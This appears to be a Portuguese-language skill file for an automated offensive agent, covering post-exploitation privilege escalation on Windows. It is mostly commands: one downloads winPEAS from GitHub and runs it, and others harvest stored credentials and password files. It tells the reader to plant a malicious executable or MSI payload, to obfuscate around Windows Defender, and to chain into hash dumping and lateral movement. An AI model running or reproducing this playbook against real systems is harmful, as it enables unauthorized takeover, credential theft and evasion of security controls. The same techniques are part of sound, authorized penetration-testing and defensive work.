---
name: windows_privilege_escalation
phase: 5_post_exploitation
tools: [winpeas, powerup, icacls]
dependencies: [windows_shell_obtained]
mitre_tactic: TA0004 (Privilege Escalation)
---

# Objetivo
Escalar privilégios de um usuário comum para SYSTEM ou Administrador em sistemas Windows, explorando misconfigurations, serviços vulneráveis, permissões fracas e credenciais em texto claro.

# Condições de Execução
- Acesso shell (reverse shell, WinRM ou RDP) ao sistema Windows foi obtido.
- O usuário atual NÃO é Administrador ou SYSTEM.

# Comandos e Sintaxe

## 1. WinPEAS (Enumeração Automatizada)
```cmd
# Baixar e executar via PowerShell
powershell -c "Invoke-WebRequest -Uri 'https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany.exe' -OutFile 'C:\Temp\winpeas.exe'"
C:\Temp\winpeas.exe > C:\Temp\winpeas_output.txt
```

## 2. Verificações Manuais Rápidas

### Informações do Sistema e Patches
```cmd
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

### Permissões de Serviços (Unquoted Service Paths)
```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
```

### AlwaysInstallElevated
```cmd
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

### Credenciais Salvas (Autologon, SAM, LSA)
```cmd
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
cmdkey /list
```

### Arquivos com Senhas
```cmd
findstr /si password *.txt *.ini *.xml *.config
```

# Análise de Resultados
- **Unquoted Service Path:** Se um serviço inicia automaticamente, tem um caminho sem aspas e espaços (ex: `C:\Program Files\App\srv.exe`), e o usuário tem permissão de escrita em `C:\Program Files\`, plante um executável malicioso lá.
- **AlwaysInstallElevated:** Se ambos os registros retornarem `0x1`, qualquer usuário pode instalar arquivos `.msi` com privilégios SYSTEM. Gere um payload MSI malicioso.
- **Credenciais em Registro/Arquivos:** Se encontrar senhas em texto claro, teste-as com `runas` ou WinRM.
- **Falta de Patches:** Se o sistema for antigo (ex: Windows 7/Server 2008) e faltarem patches, busque exploits de kernel (ex: MS17-010, PrintNightmare).

# Próximos Passos
- Se obtiver SYSTEM, acione a skill `hash_dumping_and_cracking` para extrair hashes SAM/NTDS.
- Se o sistema estiver em um domínio, acione a skill `lateral_movement_psexec`.

# Tratamento de Erros
- Se o WinPEAS for bloqueado pelo Windows Defender, use ofuscação ou execute apenas os comandos manuais.
- Se não houver permissão para escrever em `C:\Temp`, tente `C:\Users\Public` ou `%TEMP%`.
